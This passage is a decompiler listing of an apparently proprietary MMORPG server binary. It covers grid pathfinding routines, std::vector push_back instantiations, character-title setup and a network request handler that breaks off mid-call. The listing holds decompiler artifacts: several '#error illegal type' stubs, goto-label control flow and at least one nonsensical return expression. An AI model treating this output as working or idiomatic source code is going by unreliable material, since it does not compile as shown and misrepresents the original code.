funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::WaitingList::wl_StoreNeighbor"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = centery; v8 = centerx; centercell = Navigator::PathFindBuffer::operator__( pfarg->pfa_PointBuffer, (Navigator::UnitPoint)__PAIR__(centery, centerx)); if ( !centercell ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_StoreNeighbor"); return (int)&wholesaver.ws_savestore[18].esc_skill.buffer[28995]; } v10 = 0; for ( centerxa = 0; ; v10 = centerxa ) { v11 = v8; switch ( v10 ) { case 0: v11 = v8 + 1; break; case 4: v11 = v8 + 1; goto $L73627; case 1: $L73627: ++v7; break; case 5: v11 = v8 + 1; goto $L73629; case 3: $L73629: --v7; break; case 6: ++v7; goto $L73628; case 7: --v7; goto $L73628; case 2: $L73628: v11 = v8 - 1; break; default: break; } v12 = Navigator::PathFindBuffer::operator__(pfarg->pfa_PointBuffer, (Navigator::UnitPoint)__PAIR__(v7, v11)); if ( v12 ) { if ( Navigator::VirtualMap::vm_IsBlocked( pfarg->pfa_Map, start->np_RealX + stepsize * v11, start->np_RealY + stepsize * v7) ) { if ( v11 == goal->up_X && v7 == goal->up_Y ) { v19 = 0; LABEL_23: Navigator::WaitingList::wl_Push(thisa, v11, v7, v19); goto LABEL_24; } } else { v13 = pfarg->pfa_Emptyflag; if ( v12->pfc_EmptyFlag != v13 ) { v12->pfc_EmptyFlag = v13; v12->fpc_Step = centercell->fpc_Step + 1; v12->fpc_From.up_X = v8; v12->fpc_From.up_Y = centery; v15 = Navigator::VirtualMap::vm_DistanceCalc(pfarg->pfa_Map, v11, v7, goal->up_X, goal->up_Y); v12->fpc_Distance = v15; v19 = v15; goto LABEL_23; } v14 = v12->fpc_Step; if ( centercell->fpc_Step > v14 + 1 ) { centercell->fpc_Step = v14 + 1; centercell->fpc_From.up_X = v11; centercell->fpc_From.up_Y = v7; } } } LABEL_24: v17 = __OFSUB__(centerxa + 1, 8); v16 = centerxa++ - 7 < 0; if ( !(v16 ^ v17) ) break; v7 = centery; } v18 = centercell->fpc_Distance; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_StoreNeighbor"); return v18; } //----- (0054EFD0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, Navigator::UnitPoint *_Val) { std::vector > *v2; // esi@1 Navigator::UnitPoint *v3; // edx@1 signed int v4; // ecx@2 Navigator::UnitPoint *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( (SHINE_XY_TYPE *)v2->_Mylast, 1u, (SHINE_XY_TYPE *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (0054F040) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, Navigator::NaviPoint *_Val) { std::vector > *v2; // esi@1 Navigator::NaviPoint *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 Navigator::NaviPoint *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 1; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( (TickTimer *)v2->_Mylast, 1u, (TickTimer *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0054F0C0) -------------------------------------------------------- int __thiscall Navigator::MapNavigator::nm_MakePath(Navigator::MapNavigator *this, Navigator::VirtualMap *map, Navigator::UnitPoint goal, Navigator::NaviPoint *start, int maxdepth, StaticVector *pathbuffer) { int v6; // ebp@1 int v7; // ebx@2 int v8; // edi@2 Navigator::PathFindCell *v9; // eax@3 std::vector >::iterator v10; // esi@8 int v11; // eax@8 int result; // eax@12 int v13; // esi@16 _DWORD *v14; // esi@18 int v15; // eax@18 Navigator::NaviPoint *v16; // edi@18 int v17; // edx@18 int v18; // ebx@18 unsigned int v19; // edx@18 std::vector > *v20; // ebp@19 int v21; // eax@20 unsigned int v22; // edx@20 Navigator::MapNavigator *v23; // [sp+0h] [bp-20h]@1 Navigator::NaviPoint pnt; // [sp+8h] [bp-18h]@18 int v25; // [sp+1Ch] [bp-4h]@1 v23 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::MapNavigator::nm_MakePath"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::MapNavigator::nm_MakePath"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; v25 = 0; std::vector>::resize( &Navigator::MapNavigator::nm_UnitPointList, 0, 0i64); std::vector>::push_back( &Navigator::MapNavigator::nm_UnitPointList, &goal); if ( maxdepth <= 0 ) { LABEL_13: v11 = (int)Where; LABEL_14: if ( dword_CC2FF7C && (v11 - (signed int)dword_CC2FF7C) >> 3 < (unsigned int)((unk_CC2FF84 - (signed int)dword_CC2FF7C) >> 3) ) { v13 = v11; std::_Uninit_fill_n>( (SHINE_XY_TYPE *)v11, 1u, (SHINE_XY_TYPE *)&goal, (std::allocator *)&Navigator::MapNavigator::nm_UnitPointList, (std::_Nonscalar_ptr_iterator_tag)maxdepth); Where = (std::vector >::iterator)(v13 + 8); } else { std::vector>::_Insert_n( &Navigator::MapNavigator::nm_UnitPointList, (std::vector >::iterator)v11, 1u, &goal); } v14 = dword_CC2FF7C; v15 = v23->mn_StepSize; v16 = start; v17 = v15 * dword_CC2FF7C[1]; pnt.np_RealX = start->np_RealX + v15 * *dword_CC2FF7C; v18 = 0; v19 = start->np_RealY + v17; pnt.np_IsDeleted = 0; pnt.np_RealY = v19; if ( dword_CC2FF7C != (_DWORD *)Where ) { v20 = (std::vector > *)pathbuffer; do { v21 = v23->mn_StepSize; v22 = v16->np_RealY + v21 * v14[1]; pnt.np_RealX = v16->np_RealX + v21 * *v14; pnt.np_RealY = v22; std::vector>::push_back(v20, &pnt); v14 += 2; ++v18; } while ( v14 != (_DWORD *)Where ); } --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::nm_MakePath"); result = v18; } else { v7 = goal.up_Y; v8 = goal.up_X; while ( 1 ) { v9 = Navigator::PathFindBuffer::operator__(&v23->mn_CellBuffer, (Navigator::UnitPoint)__PAIR__(v7, v8)); if ( !v9 ) break; if ( v9->fpc_From.up_X == v8 && v9->fpc_From.up_Y == v7 ) goto LABEL_13; v8 = v9->fpc_From.up_X; v7 = v9->fpc_From.up_Y; goal.up_X = v9->fpc_From.up_X; goal.up_Y = v7; if ( dword_CC2FF7C && (*(_DWORD *)&Where - (signed int)dword_CC2FF7C) >> 3 < (unsigned int)((unk_CC2FF84 - (signed int)dword_CC2FF7C) >> 3) ) { v10 = Where; std::_Uninit_fill_n>( *(SHINE_XY_TYPE **)&Where, 1u, (SHINE_XY_TYPE *)&goal, (std::allocator *)&Navigator::MapNavigator::nm_UnitPointList, (std::_Nonscalar_ptr_iterator_tag)maxdepth); v11 = *(_DWORD *)&v10 + 8; Where = (std::vector >::iterator)(*(_DWORD *)&v10 + 8); } else { std::vector>::_Insert_n( &Navigator::MapNavigator::nm_UnitPointList, Where, 1u, &goal); v11 = (int)Where; } ++v6; if ( v6 >= maxdepth ) goto LABEL_14; } --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::nm_MakePath"); result = -1; } return result; } //----- (0054F340) -------------------------------------------------------- void __thiscall Navigator::PathAnalyzer::pa_Analyze(Navigator::PathAnalyzer *this) { Navigator::PathAnalyzer *v1; // esi@1 std::vector > *v2; // ecx@1 int v3; // eax@1 Navigator::NaviPoint blockstart; // [sp+4h] [bp-24h]@1 Navigator::NaviPoint blockgoal; // [sp+10h] [bp-18h]@3 int v6; // [sp+24h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::PathAnalyzer::pa_Analyze"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::PathAnalyzer::pa_Analyze"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (std::vector > *)v1->pa_PointList.pas_Vector; v6 = 0; std::vector>::push_back(v2, &v1->pa_Start); Navigator::VirtualMap::vm_FindBlock( v1->pa_VirtualMap, &blockstart, v1->pa_Start.np_RealX, v1->pa_Start.np_RealY, v1->pa_Goal.np_RealX, v1->pa_Goal.np_RealY); v3 = v1->pa_Goal.np_RealX; if ( blockstart.np_RealX != v3 || blockstart.np_RealY != v1->pa_Goal.np_RealY ) { Navigator::VirtualMap::vm_FindBlock( v1->pa_VirtualMap, &blockgoal, v3, v1->pa_Goal.np_RealY, v1->pa_Start.np_RealX, v1->pa_Start.np_RealY); std::vector>::push_back( &v1->pa_PointList.pas_Vector->baseclass_0, &blockstart); std::vector>::push_back( &v1->pa_PointList.pas_Vector->baseclass_0, &blockgoal); } std::vector>::push_back( &v1->pa_PointList.pas_Vector->baseclass_0, &v1->pa_Goal); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::PathAnalyzer::pa_Analyze"); } //----- (0054F450) -------------------------------------------------------- int __thiscall Navigator::MapNavigator::mn_Search(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int startx, unsigned int starty, unsigned int goalx, unsigned int goaly, StaticVector *pathbuffer) { Navigator::MapNavigator *v7; // esi@1 signed int v8; // edi@1 int v9; // ebp@1 _BYTE v10[12]; // ST0C_12@4 Navigator::PathFindCell *v11; // eax@4 unsigned int v12; // edx@5 Navigator::PathFindCell *v13; // eax@5 int v14; // ebx@5 int v15; // edi@5 int v16; // eax@9 int result; // eax@14 int v18; // eax@15 int v19; // esi@15 Navigator::UnitPoint goal; // [sp+4h] [bp-2Ch]@1 Navigator::NaviPoint start; // [sp+Ch] [bp-24h]@1 Navigator::PathFindArgument pfarg; // [sp+18h] [bp-18h]@5 int v23; // [sp+2Ch] [bp-4h]@1 int startxa; // [sp+38h] [bp+8h]@2 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::MapNavigator::mn_Search"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::MapNavigator::mn_Search"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = v7->mn_StepSize; start.np_RealX = startx; start.np_RealY = starty; v23 = 0; start.np_IsDeleted = 0; v9 = (signed int)(goalx - startx) / v8; goal.up_X = (signed int)(goalx - startx) / v8; goal.up_Y = (signed int)(goaly - starty) / v8; if ( !Navigator::PathFindBuffer::operator__( &v7->mn_CellBuffer, (Navigator::UnitPoint)__PAIR__((signed int)(goaly - starty) / v8, v9)) ) goto LABEL_14; startxa = Navigator::VirtualMap::vm_DistanceCalc(vm, 0, 0, v9, goal.up_Y) + 30; if ( startxa < 30 ) startxa = 30; v7->mn_EmptyFlag = (v7->mn_EmptyFlag + 1) & 0x7FFFFFFF; *(_DWORD *)v10 = 0; *(_QWORD *)&v10[4] = 0i64; std::vector>::resize( &waitlist, 0, *(Navigator::UnitPointWithDistance *)v10); v11 = Navigator::PathFindBuffer::operator__(&v7->mn_CellBuffer, 0i64); if ( v11 && (v11->fpc_From.up_X = 0, v11->fpc_From.up_Y = 0, v11->fpc_Step = 0, v11->fpc_Distance = 0, v11->pfc_EmptyFlag = v7->mn_EmptyFlag, v12 = v7->mn_EmptyFlag, pfarg.pfa_Map = vm, pfarg.pfa_Emptyflag = v12, pfarg.pfa_PointBuffer = &v7->mn_CellBuffer, starty = Navigator::VirtualMap::vm_DistanceCalc(vm, 0, 0, v9, goal.up_Y), v13 = Navigator::PathFindBuffer::operator__(&v7->mn_CellBuffer, 0i64), v13->fpc_Distance = starty, v14 = startxa, v15 = Navigator::WaitingList::wl_StoreNeighbor( (Navigator::WaitingList *)&waitlist, &pfarg, 0, 0, &goal, v7->mn_StepSize, &start), v15 <= startxa) && Navigator::WaitingList::wl_Pop((Navigator::WaitingList *)&waitlist, (int *)&goalx, (int *)&starty) ) { while ( v9 != goalx || goal.up_Y != starty ) { v16 = Navigator::WaitingList::wl_StoreNeighbor( (Navigator::WaitingList *)&waitlist, &pfarg, goalx, starty, &goal, v7->mn_StepSize, &start); if ( v16 > v15 ) { if ( v16 > v14 ) goto LABEL_14; if ( v14 > v16 + 30 ) v14 = v16 + 30; } v15 = v16; if ( !Navigator::WaitingList::wl_Pop((Navigator::WaitingList *)&waitlist, (int *)&goalx, (int *)&starty) ) goto LABEL_14; } v18 = Navigator::MapNavigator::nm_MakePath( v7, vm, (Navigator::UnitPoint)__PAIR__(goal.up_Y, v9), &start, 1000, pathbuffer); --funcallanalizer.fca_stackpoint; v19 = v18; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_Search"); result = v19; } else { LABEL_14: --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_Search"); result = -1; } return result; } //----- (0054F6D0) -------------------------------------------------------- int __thiscall Navigator::MapNavigator::mn_PathFind(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int startx, unsigned int starty, unsigned int goalx, unsigned int goaly, StaticVector *pathfindvector) { Navigator::MapNavigator *v7; // ebp@1 unsigned int v8; // esi@1 unsigned int v9; // edi@1 _BYTE v10[12]; // ST0C_12@7 Navigator::NaviPoint *v11; // ecx@7 unsigned int v12; // eax@8 StaticVector *v14; // ebp@11 int v15; // eax@15 int v16; // esi@17 int v17; // edi@17 Navigator::NaviPoint *v18; // eax@18 int v19; // ecx@18 Navigator::NaviPoint *v20; // ecx@26 int v21; // eax@26 Navigator::NaviPoint *v22; // eax@27 int v23; // esi@28 signed int v24; // edx@29 Navigator::MapNavigator *thisa; // [sp+0h] [bp-4Ch]@1 unsigned int orgstartx; // [sp+4h] [bp-48h]@1 unsigned int orgstarty; // [sp+8h] [bp-44h]@1 int v28; // [sp+18h] [bp-34h]@0 Navigator::PathAnalyzer pa; // [sp+1Ch] [bp-30h]@7 int v30; // [sp+48h] [bp-4h]@1 v7 = this; thisa = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::MapNavigator::mn_PathFind"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::MapNavigator::mn_PathFind"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = starty; v9 = startx; v30 = 0; orgstartx = startx; orgstarty = starty; if ( Navigator::VirtualMap::vm_IsBlocked(vm, startx, starty) ) { if ( !Navigator::MapNavigator::mn_ExitFromBlock(v7, vm, &startx, &starty) ) { LABEL_31: --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_PathFind"); return -1; } v8 = starty; v9 = startx; } if ( !(_S4_26 & 1) ) { _S4_26 |= 1u; LOBYTE(v30) = 1; StaticVector::StaticVector(&pointlist, 1024); atexit(_E5_80); } *(_QWORD *)v10 = 0i64; LOBYTE(v28) = 0; *(_DWORD *)&v10[8] = v28; std::vector>::resize( &pointlist.baseclass_0, 0, *(Navigator::NaviPoint *)v10); pa.pa_Goal.np_RealX = goalx; pa.pa_PointList.pas_Vector = &pointlist; pa.pa_PointList.pas_VirtualMap = vm; pa.pa_Start.np_RealX = v9; pa.pa_Start.np_RealY = v8; pa.pa_Start.np_IsDeleted = 0; pa.pa_Goal.np_RealY = goaly; pa.pa_Goal.np_IsDeleted = 0; pa.pa_VirtualMap = vm; Navigator::PathAnalyzer::pa_Analyze(&pa); v11 = pointlist.baseclass_0._Myfirst; if ( !pointlist.baseclass_0._Myfirst ) goto LABEL_31; v12 = pointlist.baseclass_0._Mylast - pointlist.baseclass_0._Myfirst; if ( v12 == 2 ) { std::vector>::operator_(pathfindvector, (int)&pointlist); --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_PathFind"); return 2; } if ( v12 != 4 ) goto LABEL_31; v14 = pathfindvector; if ( pointlist.baseclass_0._Myfirst->np_RealX != pointlist.baseclass_0._Myfirst[1].np_RealX || pointlist.baseclass_0._Myfirst->np_RealY != pointlist.baseclass_0._Myfirst[1].np_RealY ) { std::vector>::push_back( &pathfindvector->baseclass_0, pointlist.baseclass_0._Myfirst); v11 = pointlist.baseclass_0._Myfirst; } if ( Navigator::MapNavigator::mn_Search( thisa, vm, v11[2].np_RealX, v11[2].np_RealY, v11[1].np_RealX, v11[1].np_RealY, v14) == -1 ) goto LABEL_31; std::vector>::push_back( &v14->baseclass_0, pointlist.baseclass_0._Myfirst + 3); v15 = (int)v14->baseclass_0._Myfirst; if ( v15 ) v15 = (signed int)((char *)v14->baseclass_0._Mylast - v15) / 12; v16 = v15 - 1; v17 = 1; starty = v15 - 1; if ( v15 - 2 > 1 ) { do { v18 = v14->baseclass_0._Myfirst; v16 = (v17 + v16) / 2; v19 = v16; if ( v18[v17].np_RealX != v18[v16].np_RealX || v18[v17].np_RealY != v18[v19].np_RealY ) { if ( Navigator::VirtualMap::vm_IsStreight( vm, v18->np_RealX, v18->np_RealY, v18[v19].np_RealX, v18[v19].np_RealY) ) { v17 = v16; v16 = starty; } else { starty = v16; } } else { v17 = v16; v16 = starty; } } while ( v17 < v16 - 1 ); } v14->baseclass_0._Myfirst->np_RealX = orgstartx; v14->baseclass_0._Myfirst->np_RealY = orgstarty; if ( v17 > 1 ) { v20 = v14->baseclass_0._Myfirst; v21 = (int)&v20[v17]; ++v20; v20->np_RealX = *(_DWORD *)v21; v20->np_RealY = *(_DWORD *)(v21 + 4); *(_DWORD *)&v20->np_IsDeleted = *(_DWORD *)(v21 + 8); } v22 = v14->baseclass_0._Myfirst; if ( v22 ) { v24 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v14->baseclass_0._Mylast - (char *)v22)) >> 32) >> 1; v23 = v24 + ((unsigned int)v24 >> 31); } else { v23 = 0; } --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_PathFind"); return v23; } //----- (0054FA30) -------------------------------------------------------- #error "54FA30: undefined or illegal type '#585' (funcsize=4)" //----- (0054FA40) -------------------------------------------------------- int __thiscall Navigator::VirtualMap::vm_DistanceCalc(Navigator::VirtualMap *this, int xA, int yA, int xB, int yB) { return DirectDistanceTable::ddt_Distance(&ddt, xA - xB, yA - yB); } //----- (0054FA70) -------------------------------------------------------- int __thiscall Navigator::VirtualMap::vm_IsBlocked(Navigator::VirtualMap *this, int x, int y) { int *v3; // esi@1 unsigned __int8 v4; // al@1 int v5; // esi@1 v3 = (int *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsBlocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::VirtualMap::vm_IsBlocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = FieldMap::fm_IsBlock( *v3, x, y, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsAttackBlock); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsBlocked"); return v5; } //----- (0054FB20) -------------------------------------------------------- int __thiscall Navigator::VirtualMap::vm_IsStreight(Navigator::VirtualMap *this, int xA, int yA, int xB, int yB) { Navigator::VirtualMap *v5; // ebx@1 int result; // eax@2 signed int v7; // kr00_4@3 int v8; // edi@3 int v9; // esi@7 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsStreight"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::VirtualMap::vm_IsStreight"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (xA - xB) * (xA - xB) + (yA - yB) * (yA - yB) >= 25 ) { v7 = xB + xA; v8 = (yA + yB) / 2; if ( Navigator::VirtualMap::vm_IsBlocked(v5, (xB + xA) / 2, (yA + yB) / 2) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsStreight"); result = 0; } else { v9 = Navigator::VirtualMap::vm_IsStreight(v5, xA, yA, v7 / 2, v8) && Navigator::VirtualMap::vm_IsStreight(v5, v7 / 2, v8, xB, yB); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsStreight"); result = v9; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsStreight"); result = 1; } return result; } //----- (0054FCA0) -------------------------------------------------------- Navigator::NaviPoint *__thiscall Navigator::VirtualMap::vm_FindBlock(Navigator::VirtualMap *this, Navigator::NaviPoint *result, int xA, int yA, int xB, int yB) { void **v6; // esi@1 signed int v7; // eax@1 signed int v8; // eax@1 int v9; // eax@2 unsigned int v11; // [sp-4h] [bp-44h]@4 unsigned int v12; // [sp+0h] [bp-40h]@4 SHINE_XY_TYPE goal; // [sp+1Ch] [bp-24h]@1 SHINE_XY_TYPE start; // [sp+24h] [bp-1Ch]@1 SHINE_XY_TYPE block; // [sp+2Ch] [bp-14h]@1 int v16; // [sp+3Ch] [bp-4h]@1 v6 = (void **)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::VirtualMap::vm_FindBlock"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::VirtualMap::vm_FindBlock"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; start.y = yA; start.x = xA; v16 = 1; goal.x = xB; goal.y = yB; v7 = DirectDistanceTable::ddt_Distance(&ddt, xA - xB, yA - yB); v8 = FieldMap::fm_FindBlockLocation( *v6, (int)&start, v7, (int)&goal, (int)&block, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock); if ( !v8 ) goto LABEL_6; v9 = v8 - 1; if ( v9 ) { if ( v9 == 1 ) { v12 = goal.y; v11 = goal.x; LABEL_7: Navigator::NaviPoint::NaviPoint(result, v11, v12); goto LABEL_8; } LABEL_6: v12 = goal.y; v11 = goal.x; goto LABEL_7; } Navigator::NaviPoint::NaviPoint(result, block.x, block.y); LABEL_8: --funcallanalizer.fca_stackpoint; LOBYTE(v16) = 0; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_FindBlock"); return result; } //----- (0054FDD0) -------------------------------------------------------- #error "54FDD0: undefined or illegal type '#325' (funcsize=15)" //----- (0054FE10) -------------------------------------------------------- #error "54FE10: undefined or illegal type '#325' (funcsize=3)" //----- (0054FE20) -------------------------------------------------------- void __thiscall CCharacterTitleZone::InitNewPlayer(CCharacterTitleZone *this, int bFirstConnect) { CCharacterTitleZone *v2; // esi@1 int v3; // eax@3 v2 = this; CCharacterTitle::Clear(&this->baseclass_0); memset(v2->m_TitleValues, 0, sizeof(v2->m_TitleValues)); if ( bFirstConnect ) { LODWORD(v2->m_TitleValues[3]) = 0; HIDWORD(v2->m_TitleValues[3]) = 0; LODWORD(v2->m_TitleValues[41]) = 0; HIDWORD(v2->m_TitleValues[41]) = 0; } v2->m_MoneyGiveTimeValue = mysecond(0); v2->m_MoneyGivenToRegNum = -1; v2->m_MoneyBegTimeValue = mysecond(0); v2->m_MoneyBegnFromRegNum = -1; v2->m_KilledByMobHandle = -1; v2->m_KilledByMobTimeValue = mysecond(0); v2->m_PartyJoinPartyNo = -1; v3 = mysecond(0); v2->m_BoothSellCharNo = -1; v2->m_AuctionSellCharNo = -1; v2->m_nUpgradeItemNo.binary._bf4 = 0; v2->m_PartyJoinTimeValue = v3; *(_DWORD *)&v2->m_nUpgradeItemNo.binary.gap0[0] = 65535; v2->m_nUpgradeItemStatus = 2; } //----- (0054FEE0) -------------------------------------------------------- int __thiscall CCharacterTitleZone::SetTitleStatusZone(CCharacterTitleZone *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue) { CT_TITLE *v4; // eax@1 int result; // eax@3 v4 = CCharacterTitle::GetGroupTitle(&this->baseclass_0, Type); if ( v4 ) { switch ( ElementNo ) { case 0: v4->_bf0 ^= (ElementValue ^ v4->_bf0) & 3; result = 1; break; case 1: v4->_bf0 ^= (v4->_bf0 ^ 4 * ElementValue) & 0xC; result = 1; break; case 2: v4->_bf0 ^= (v4->_bf0 ^ 16 * ElementValue) & 0x30; result = 1; break; case 3: v4->_bf0 = ((_BYTE)ElementValue << 6) | v4->_bf0 & 0x3F; result = 1; break; default: goto LABEL_7; } } else { LABEL_7: result = 0; } return result; } //----- (0054FF80) -------------------------------------------------------- #error "54FF80: undefined or illegal type '#325' (funcsize=108)" //----- (00550120) -------------------------------------------------------- #error "550120: undefined or illegal type '#325' (funcsize=53)" //----- (00550210) -------------------------------------------------------- #error "550210: undefined or illegal type '#325' (funcsize=73)" //----- (00550340) -------------------------------------------------------- #error "550340: undefined or illegal type '#325' (funcsize=97)" //----- (00550460) -------------------------------------------------------- #error "550460: undefined or illegal type '#325' (funcsize=28)" //----- (005504B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ(void *this, WEAPON_TITLE_DATA *netcmd, int pWTData, __int16 handle) { void *v4; // ebp@1 int v5; // edx@1 WEAPON_TITLE_DATA *v6; // esi@1 int v7; // ebx@1 int v8; // edi@1 ItemTotalInformation *v9; // eax@7 int v10; // ebx@7 char v11; // cl@10 unsigned __int16 v12; // ax@10 const char *v13; // ST0C_4@13 char v14; // bl@13 char v15; // al@13 char v16; // dl@13 int v17; // eax@13 int v18; // esi@13 int v19; // edi@13 int v20; // ebp@13 char v21; // [sp-10h] [bp-40h]@4 char v22; // [sp-Ch] [bp-3Ch]@4 char v23; // [sp-Ch] [bp-3Ch]@11 unsigned __int16 v24; // [sp-8h] [bp-38h]@4 char v25; // [sp-8h] [bp-38h]@11 unsigned __int16 v26; // [sp-4h] [bp-34h]@4 CT_ELEMENT_VALUE v27; // [sp-4h] [bp-34h]@11 ITEM_INVEN WeaponInven; // [sp+10h] [bp-20h]@7 int CurrentTitle; // [sp+14h] [bp-1Ch]@10 int nNewElementNo; // [sp+18h] [bp-18h]@1 int WeaponMobLevel; // [sp+1Ch] [bp-14h]@8 FunctionEntarance _; // [sp+20h] [bp-10h]@1 int v33; // [sp+2Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v6 = netcmd; v7 = 0; v33 = 0; v8 = (*(int (__thiscall **)(void *))(v5 + 1036))(v4); LOBYTE(nNewElementNo) = v6->Prefix[0]; if ( !(_S4_27 & 1) ) { _S4_27 |= 1u; stru_13F36274.cmc_AllowMode = 6; atexit(_E5_81); } if ( !((1 << **((_BYTE **)v4 + 929)) & stru_13F36274.cmc_AllowMode) ) { v26 = 2563; v24 = *(_WORD *)&v6->Prefix[1]; v22 = v6->Prefix[0]; v21 = v6->Level; LABEL_15: CCharacterTitleZone::Send_NC_CT_SET_CURRENT_ACK((CCharacterTitleZone *)v8, v21, v22, v24, v26); goto LABEL_16; } if ( !CCharacterTitle::IsUsableTitle((CCharacterTitle *)v8, v6->Level, v6->Prefix[0], *(_WORD *)&v6->Prefix[1]) ) goto CT_SET_CURRENT_FAIL; if ( v6->Level == 10 ) { v9 = (ItemTotalInformation *)(*(int (__thiscall **)(void *, ITEM_INVEN *))(*(_DWORD *)v4 + 1876))(v4, &WeaponInven); v10 = (int)v9; if ( v9 ) { netcmd = CWeaponTitleZone::GetLevelData( &gWeaponTitle, *(_WORD *)&v6->Prefix[1], v9, (unsigned int *)&WeaponMobLevel); if ( netcmd ) { *(_WORD *)(v10 + 31) = *(_WORD *)&v6->Prefix[1]; ShineObjectClass::ShinePlayer::sp_AttrChange2DB(v4, v10, 